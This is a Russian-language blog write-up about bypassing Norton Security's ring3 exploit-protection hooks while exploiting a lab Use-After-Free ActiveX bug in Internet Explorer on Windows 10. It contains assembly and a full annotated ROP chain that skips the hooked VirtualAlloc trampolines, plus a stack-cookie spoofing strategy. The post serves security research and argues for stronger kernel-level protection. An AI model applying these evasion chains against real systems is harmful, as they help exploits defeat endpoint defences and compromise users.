Зимним вечером придя с работы, захотелось мне проверить работоспособность своей старой лабы (2012 года) на тему эксплуатации Use-After-Free в ActiveX под Internet Explorer . Собственно на новом ноуте у меня была Windows 10, и последний последний IE со всеми этими вашими isolated heap и тд. И вот я запустил свой сплойт, как вдруг вышел облом от туда, откуда не ждали, на новом ноуте у меня стоял Norton Security, который пафосно детектировал 0day и стопанул:
Вечер обещал быть томным. предыдущий опыт работы с NextGen защитами подсказывал мне, что ребята из Symatec сделали все «дешево и быстро», а значит можно попробовать обойти эту защиту не сильно парясь. Вообщем то как показала практика — этот подход по защите от сплойтов ОЧЕНЬ типовой и обходится практически универсальным и единым методом. Другими словами, при детальном подходе к эксплойту — один и тот же код, будет работать как на системе без защиты, так и системами защиты от разных продуктов, включая Norton Security. Посмотрим же в чем «архитектурная» ошибка таких защит…
Что ж, открыв банку ТУТ МОЖЕТ БЫТЬ ВАША РЕКЛАМА, я решил что одному дебажить это дело будет скучно, я уже примерно делал похожее до этого и знал что могу ожидать, хотя наверняка не знал… Но все же решил заодно протестить возможности «коллективного» угара в твиче, в итоге завел стрим, где я и мои товарищи из Defcon Russia начали «хакать» это дело. В итоге было медленнее, но веселее. Но перейдем к телу.
Запустив эксплойт из лабы несколько раз, подтвердилась моя догадка: Norton ставит ring3 хуки на «критичные» функции. В нашем случае, такая функция оказалась вызвана в ROP шелкоде: VirtualAlloc. ROP шеллкод всего лишь делал текущую страницу памяти исполняемой, собственно для этого он и вызывал VirtualProtect. Хук поставленный Norton дерзко вклинивался в пролог функции (трамплин) и перехватывал управление, где делал некие «магические» проверки. Если все ок, то хук возвращал управление, если же он заподозрил зло, то алерт, исключительная ситуация и мы попались (как на скриншоте). Этот метод защиты, как я писал выше, применяется не только Norton и другими ИБ вендорами, поэтому обсудим разные стратегии обхода:
1) Обмануть логику «магической проверки»
2) Перепрыгнуть хук и проверку
Первая стратегия подразумевает, что мы знаем узнаем в чем стостоит «магия», что именно проверяется и подсовываем то, что нужно, что бы убедить защиту, что все ОК. В данном случае, ребята из Defcon группы, во время стримп точно мне подсказали, в чем состоит магия — Norton в каждый стек фрейм всовывает «секретную печеньку», cookie. Когда вызывается же вызвается VirtualProtect?VirtualAlloc и даже WinExec, хук перехватывает управление и проверяет текущий стек, то есть эту самую куку. Так как во время эксплуатации Use-After-Free наш эксплойт делал так называемый Stack Pivot — смена текущего стек фрейма, на тот, что контролирует атакующий, в нашем случае это страница сгенерированная Heap Spray с ROP, то, конечно, оказывалось что этих кук не было в нашем случае. Отсюда и алерт. Обойти эту проверку можно разными способами:
стратегия 1: Скопировать ROPом куки из оригинального стека, в новый
стратегия 2: Скопировать ROP шеллкод в оригинальный стек, и вернуть ESP обратно
Этот метод хорош и прост, но есть один недостаток — он не так универсален, и работает только против конкретно этой проверки. Поэтому я решил тут сконцентрироваться на втором методе.
Второй метод еще проще — нам не надо думать о логике проверок и тд и тп, все что нам надо это «перепрыгнуть» трамплин с хуком, а значит и всю проверку. Недостатки этого метода так же очевидны — на разных ветках ОС, трамплины, а значит хуки будут разными. Я имею ввиду то, что хук на Windows 7 и хук на Windows 10 выглядят по разному (в Win10 имплементация VirtualAlloc уже в kernelbase.dll). Это значит, что в идеале, перед выдачей эксплойта, система (фронт енд) должна определять ОС — Windows 7, Windows 8.1 или Windows 10 и выдавать нужную версию сплойта. Но такой метод универсальнее, так как не важно есть ли Norton или же там есть другой хук — от другого вендора (или даже если хука нет). Так как конкретно в моем случае был Windows 10, то разберем то что было у меня, так вот выглядит хуки на VirtualProtect:
Тут у нас есть указатель VirtualAlloc ведет на враппер в kernel32.dll, там первый хук, а уже второй хук непосредственно в kernelbase.dll. Это значит, что в версии под Win10 надо перепрыгнуть сразу два хука. Мы можем сделать это в ROP: по сути мы читаем указатель на VirtalAlloc, далее по статическому смещению, читаем указатель на VirtualAlloct в kernelbase.dll. После чего добавляем к адресу смещение, что бы перепрыгнуть второй хук, и уже туда передаем вызов. И не забываем заранее подогнать значение EBP так, что бы на момент этого вызова он был равен ESP. По сути нужен следущий код ESI указывает на VirtualAlloc:
mov eax, [esi + 8]; читаем точный указатель на kernelbase.virtualalloc
mov eax, [eax]; читаем как указатель
add eax, 5; меняем указатель так, что бы перепрыгнуть второй хук (на push ecx)
push ebp; увеличиваем ESP (выравниваем стек)
mov ebp, esp; заносим в EBP текущий указатель на стек
Но это хорошо для обычного шеллкода (который мы все равно имеем уже после того, как выполним ROP), но пока мы не сделали страницу исполняемой, нам надо сделать те же действия, но в ROP. Вообщем то 3 часа стрима были посвящены именно созданию такой ROP программы и в результате мы получили, что хотели — рабочую версию ROP шеллкода, который вызывал VirtualAlloc стабильно, и не генерировал ошибки и алерта.
Но это не все, после этого мы имеем обычный шеллкод, который запускает некий файл (пусть калькулятор). На момент вызова WinExec или CreateProcess мы так же должно обойти хуки. Сделать это можно таким же методом, но для разнообразия демонстрации, я решил применить уже первую стратегию, и просто обмануть чек переключив ESP на старый, оригинальный фрейм, так как больше мы не нуждаемся в ROP. Отсюда вся стратегия и то, что у нас получилось выглядит так:
1) начало атаки, сразу после stack pivot. Указатель на старый стек фрейм у нас в EDI
2) Сразу сосчитаем занчение EBP, что бы на момент вызова VirtualAlloc он был эквивалентен ESP. Мы можем это посчитать заранее, так как знаем как сдвинется указатель на стек.
>0x5bf2b484: # POP EAX # RETN
>204: # offset to EBP
>0x5be63cd8: # PUSH ESP # POP EBP # RETN 04
>0x5bf014a9: # XCHG EAX,EBP # RETN
>0x90909090: # TRASH
>0x5bf08c87: # ADD EAX,EBP # RETN
>0x5bf014a9: # XCHG EAX,EBP # RETN
3) Теперь сосчитаем указатель на VirtuallAlloc в kernelbase, сразу после всех хуков
# EAX = kernelbase.virtalloc + offset_over_the_hook
>0x5bee1907: # POP ECX # RETN [npexploitMe.dll]
>0x5bf32114: # ptr to &VirtualAlloc() [IAT npexploitMe.dll]
>0x5bed6fb0: # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]
>0x5bedba6d: # ADD EAX,8 # RETN
>0x5be629f9: # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5be629f9: # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5bee809a: # INC EAX # RETN
>0x5bee809a: # INC EAX # RETN
>0x5bee809a: # INC EAX # RETN
>0x5bee809a: # INC EAX # RETN
>0x5bee809a: # INC EAX # RETN
4) Собственно подготовим параметры для VirtualAlloc (VA)
>0x5bf20010: # XCHG EAX,ESI # RETN; save VA in ESI
>0x5be8936f: # XOR EAX,EAX # RETN
>0x5bf08c87: # ADD EAX,EBP # RETN; EAX=EBP
>0x5bed87dd: # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN
; EDX = EBP, pointer to place where we want to store our VA parameters
>0x11223344: # trash to esi
>0x5bf20010: # XCHG EAX,ESI # RETN; save VA in ESI
>0x5be98313: # MOV EAX,ESI # RETN
>0x5beecf8e: # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN; save VA call address (1)
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN; DWORD* pointer++
>0x5beecf8e: # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN; not needed, new EBP (2)
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5bf2b484: # POP EAX # RETN; put return address after VA call int EAX
>0x5be63ce2: # PUSH ESP # RETN; this will be executed after VA (goes to EAX right now)
>0x5beecf8e: # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN; Retuen address (3)
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5bec1806: # INC EDX # RETN
>0x5be8936f: # XOR EAX,EAX # RETN
>0x5bf08c87: # ADD EAX,EBP # RETN; EAX=EBP
>0x5beecf8e: # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN; pointer to page (4)
>0x5bef49e2: # INC EBP # RETN
>0x5bef49e2: # INC EBP # RETN
>0x5bef49e2: # INC EBP # RETN
>0x5bef49e2: # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored…
>0x5bee809b: # RETN
>0x11111111: # This will be overwritten by (1)
>0x22222222: # This will be overwritten by (2)
>0x22222222: # Retuen address after VA call, will be overwritten by (3)
>0x33333333: # First VA parameter — pointer, overwrittem by (4)
>0x00000001: # Second VA parameter: size
>0x00001000: # Third VA parameter: AllocationType = MEM_COMMIT
>0x00000040: # Last VA parameter: R_X
И вместо выводов: использование хуков в ring3, для защиты от эксплойтов или вредоноса — не очень хорошая идея, именно потому что борьба идет «на равных», и атакующий имеет те же возмодности и права, но может действовать «не стандартно» используя ROP/Shellocde — и программируя свою Wierd Machine. В нашем случае, разработчик считает, что вызов функции это вызов по указателю из IAT, и ring3 хук «сойдет» (еще раз добавлю, что не один Norton так делает, даже некоторые хваленные NextGen так обходятся). Конечно, против типовых и стандартных эксплойтов и эта защита сработает и лучше такая, чем ничего. Тем не менее эту защиту можно обойти и притом легко. Сами же методы обхода, довольно универсальны и практичны.
Кроме того ring3 хуки несут множество других проблем, в том числе и ПОМОГАЯ обойти уже существующие защиты (https://2016.zeronights.ru/wp-content/uploads/2016/12/You%E2%80%99re-Off-the-Hook.pdf).
В конечном счете, ring0 хук был бы лучше, по крайне мере против «стратегии номер 2». За сим все. gg bb hf
Автор: d00kie